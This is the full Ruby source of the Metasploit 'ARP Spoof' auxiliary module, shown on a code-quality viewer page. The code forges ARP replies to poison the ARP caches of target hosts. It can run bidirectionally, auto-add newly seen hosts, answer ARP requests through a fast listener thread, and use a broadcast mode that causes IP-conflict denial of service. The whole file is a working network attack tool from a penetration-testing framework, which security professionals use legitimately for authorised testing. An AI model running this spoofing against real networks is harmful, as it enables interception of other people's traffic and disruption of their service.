rapid7/metasploit-framework

View on GitHub
modules/auxiliary/spoof/arp/arp_poisoning.rb

Summary

Maintainability
F
6 days
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Capture
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'ARP Spoof',
      'Description' => %q{
        Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
      },
      'Author'      =>     'amaloteaux', # msf rewrite
                                      #tons of people
      'License'     => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '11169'],
          ['CVE', '1999-0667'],
          ['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
        ],
      'DisclosureDate' => 'Dec 22 1999' #osvdb date
    )

    register_options([
      OptString.new('SHOSTS',      [true, 'Spoofed ip addresses']),
      OptString.new('SMAC',        [false, 'The spoofed mac']),
      OptString.new('DHOSTS',      [true, 'Target ip addresses']),
      OptString.new('INTERFACE',     [false, 'The name of the interface']),
      OptBool.new(  'BIDIRECTIONAL',    [true, 'Spoof also the source with the dest',false]),
      OptBool.new(  'AUTO_ADD',    [true, 'Auto add new host when discovered by the listener',false]),
      OptBool.new(  'LISTENER',        [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
    ])

    register_advanced_options([
      OptString.new('LOCALSMAC',        [false, 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC']),
      OptString.new('LOCALSIP',        [false, 'The IP address of the local interface to use for hosts detection']),
      OptInt.new(   'PKT_DELAY',        [true, 'The delay in milliseconds between each packet during poisoning', 100]),
      OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
      # This mode will generate address ip conflict pop up  on most systems
      OptBool.new(  'BROADCAST',        [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
    ])

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
  end

  def run
    open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
    @netifaces = true
    if not netifaces_implemented?
      print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
      @netifaces = false
    end
    @spoofing = false
    # The local dst (and src) cache(s)
    @dsthosts_cache = {}
    @srchosts_cache = {}
    # Some additional caches for autoadd feature
    if datastore['AUTO_ADD']
      @dsthosts_autoadd_cache = {}
      if datastore['BIDIRECTIONAL']
        @srchosts_autoadd_cache = {}
      end
    end

    begin
      @interface = datastore['INTERFACE'] || Pcap.lookupdev
      # This is needed on windows cause we send interface directly to Pcap functions
      @interface = get_interface_guid(@interface)
      @smac = datastore['SMAC']
      @smac ||= get_mac(@interface) if @netifaces
      raise 'SMAC is not defined and can not be guessed' unless @smac
      raise 'Source MAC is not in correct format' unless is_mac?(@smac)

      @sip = datastore['LOCALSIP']
      @sip ||= get_ipv4_addr(@interface) if @netifaces
      raise "LOCALSIP is not defined and can not be guessed" unless @sip
      raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)

      shosts_range  = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
      @shosts = []
      if datastore['BIDIRECTIONAL']
        shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
      else
        shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
      end

      if datastore['BROADCAST']
        broadcast_spoof
      else
        arp_poisoning
      end

    rescue  =>  ex
      print_error( ex.message)
    ensure

      if datastore['LISTENER']
        @listener.kill if @listener
      end

      if capture and @spoofing and not datastore['BROADCAST']
        print_status("RE-ARPing the victims...")
        3.times do
          @dsthosts_cache.keys.sort.each do |dhost|
            dmac = @dsthosts_cache[dhost]
            if datastore['BIDIRECTIONAL']
              @srchosts_cache.keys.sort.each do |shost|
                smac = @srchosts_cache[shost]
                if shost != dhost
                  vprint_status("Sending arp packet for #{shost} to #{dhost}")
                  reply = buildreply(shost, smac, dhost, dmac)
                  inject(reply)
                  Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
                end
              end
            else
              @shosts.each do |shost|
                if shost != dhost
                  vprint_status("Sending arp request for #{shost} to #{dhost}")
                  request = buildprobe(dhost, dmac, shost)
                  inject(request)
                  Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
                end
              end
            end
          end
          if datastore['BIDIRECTIONAL']
            @srchosts_cache.keys.sort.each do |shost|
              smac = @srchosts_cache[shost]
              @dsthosts_cache.keys.sort.each do |dhost|
                dmac = @dsthosts_cache[dhost]
                if shost != dhost
                  vprint_status("Sending arp packet for #{dhost} to #{shost}")
                  reply = buildreply(dhost, dmac, shost, smac)
                  inject(reply)
                  Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
                end
              end
            end
          end
        end # 3.times
      end
      close_pcap
    end #begin/rescue/ensure
  end

  def broadcast_spoof
    print_status("ARP poisoning in progress (broadcast)...")
    while(true)
      @shosts.each do |shost|
        vprint_status("Sending arp packet for #{shost} address")
        reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
        inject(reply)
        Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
      end
    end
  end

  def arp_poisoning
    lsmac = datastore['LOCALSMAC'] || @smac
    raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)

    dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
    @dhosts = []
    dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}

    # Build the local dest hosts cache
    print_status("Building the destination hosts cache...")
    @dhosts.each do |dhost|
      vprint_status("Sending arp packet to #{dhost}")

      probe = buildprobe(@sip, lsmac, dhost)
      inject(probe)
      while(reply = getreply())
        next if not reply.is_arp?
        # Without this check any arp request would be added to the cache
        if @dhosts.include? reply.arp_saddr_ip
          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
          @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
      end

    end
    # Wait some few seconds for last packets
    etime = Time.now.to_f + datastore['TIMEOUT']
    while (Time.now.to_f < etime)
      while(reply = getreply())
        next if not reply.is_arp?
        if @dhosts.include? reply.arp_saddr_ip
          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
          @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
      end
      Kernel.select(nil, nil, nil, 0.50)
    end
    raise "No hosts found" unless @dsthosts_cache.length > 0

    # Build the local src hosts cache
    if datastore['BIDIRECTIONAL']
      print_status("Building the source hosts cache for unknown source hosts...")
      @shosts.each do |shost|
        if @dsthosts_cache.has_key? shost
          vprint_status("Adding #{shost} from destination cache")
          @srchosts_cache[shost] = @dsthosts_cache[shost]
          next
        end
        vprint_status("Sending arp packet to #{shost}")
        probe = buildprobe(@sip, lsmac, shost)
        inject(probe)
        while(reply = getreply())
          next if not reply.is_arp?
          if @shosts.include? reply.arp_saddr_ip
            print_good("#{reply.arp_saddr_ip} appears to be up.")
            report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
            @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
          end
        end

      end
      # Wait some few seconds for last packets
      etime = Time.now.to_f + datastore['TIMEOUT']
      while (Time.now.to_f < etime)
        while(reply = getreply())
          next if not reply.is_arp?
          if @shosts.include? reply.arp_saddr_ip
            print_good("#{reply.arp_saddr_ip} appears to be up.")
            report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
            @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
          end
        end
        Kernel.select(nil, nil, nil, 0.50)
      end
      raise "No hosts found" unless @srchosts_cache.length > 0
    end

    if datastore['AUTO_ADD']
      @mutex_cache = Mutex.new
    end

    # Start the listener
    if datastore['LISTENER']
      start_listener(@dsthosts_cache, @srchosts_cache)
    end
    # Do the job until user interupt it
    print_status("ARP poisoning in progress...")
    @spoofing = true
    while(true)
      if datastore['AUTO_ADD']
        @mutex_cache.lock
        if @dsthosts_autoadd_cache.length > 0
          @dsthosts_cache.merge!(@dsthosts_autoadd_cache)
          @dsthosts_autoadd_cache = {}
        end
        if datastore['BIDIRECTIONAL']
          if @srchosts_autoadd_cache.length > 0
            @srchosts_cache.merge!(@srchosts_autoadd_cache)
            @srchosts_autoadd_cache = {}
          end
        end
        @mutex_cache.unlock
      end
      @dsthosts_cache.keys.sort.each do |dhost|
        dmac = @dsthosts_cache[dhost]
        if datastore['BIDIRECTIONAL']
          @srchosts_cache.keys.sort.each do |shost|
            smac = @srchosts_cache[shost]
            if shost != dhost
              vprint_status("Sending arp packet for #{shost} to #{dhost}")
              reply = buildreply(shost, @smac, dhost, dmac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
            end
          end
        else
          @shosts.each do |shost|
            if shost != dhost
              vprint_status("Sending arp packet for #{shost} to #{dhost}")
              reply = buildreply(shost, @smac, dhost, dmac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
            end
          end
        end
      end

      if datastore['BIDIRECTIONAL']
        @srchosts_cache.keys.sort.each do |shost|
          smac = @srchosts_cache[shost]
          @dsthosts_cache.keys.sort.each do |dhost|
            dmac = @dsthosts_cache[dhost]
            if shost != dhost
              vprint_status("Sending arp packet for #{dhost} to #{shost}")
              reply = buildreply(dhost, @smac, shost, smac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
            end
          end
        end
      end
    end
  end


  def is_mac?(mac)
    if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
    else false end
  end

  def buildprobe(shost, smac, dhost)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = "ff:ff:ff:ff:ff:ff"
    p.arp_opcode = 1
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def buildreply(shost, smac, dhost, dmac)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = dmac
    p.arp_opcode = 2 # ARP Reply
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def getreply
    pkt_bytes = capture.next
    return if not pkt_bytes
    pkt = PacketFu::Packet.parse(pkt_bytes)
    return unless pkt.is_arp?
    return unless pkt.arp_opcode == 2
    pkt
  end

  def start_listener(dsthosts_cache, srchosts_cache)

    if datastore['BIDIRECTIONAL']
      args = {:BIDIRECTIONAL => true,  :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
    else
      args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
    end
    # To avoid any race condition in case of , even if actually those are never updated after the thread is launched
    args[:AUTO_ADD] = datastore['AUTO_ADD']
    args[:localip] = @sip.dup
    @listener = Thread.new(args) do |args|
      begin
        # one more local copy
        liste_src_ips = []
        if args[:BIDIRECTIONAL]
          args[:shosts].each_key {|address| liste_src_ips.push address}
        else
          args[:shosts].each {|address| liste_src_ips.push address}
        end
        liste_dst_ips = []
        args[:dhosts].each_key {|address| liste_dst_ips.push address}
        localip = args[:localip]

        listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
        listener_capture.setfilter("arp[6:2] == 0x0001")
        while(true)
          pkt_bytes = listener_capture.next
          if pkt_bytes
            pkt = PacketFu::Packet.parse(pkt_bytes)
            if pkt.is_arp?
              if pkt.arp_opcode == 1
                # check if the source ip is in the dest hosts
                if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
                  (args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
                  vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
                  reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
                  3.times{listener_capture.inject(reply.to_s)}
                elsif args[:AUTO_ADD]
                  if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
                    pkt.arp_saddr_ip != localip)
                    @mutex_cache.lock
                    print_status("#{pkt.arp_saddr_ip} appears to be up.")
                    @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
                    liste_dst_ips.push pkt.arp_saddr_ip
                    @mutex_cache.unlock
                  elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
                    not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
                    @mutex_cache.lock
                    print_status("#{pkt.arp_saddr_ip} appears to be up.")
                    @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
                    liste_src_ips.push pkt.arp_saddr_ip
                    @mutex_cache.unlock
                  end
                end
              end
            end
          end
        end
      rescue => ex
        print_error("Listener Error: #{ex.message}")
        print_error("Listener Error: Listener is stopped")
      end
    end
    @listener.abort_on_exception = true
  end
end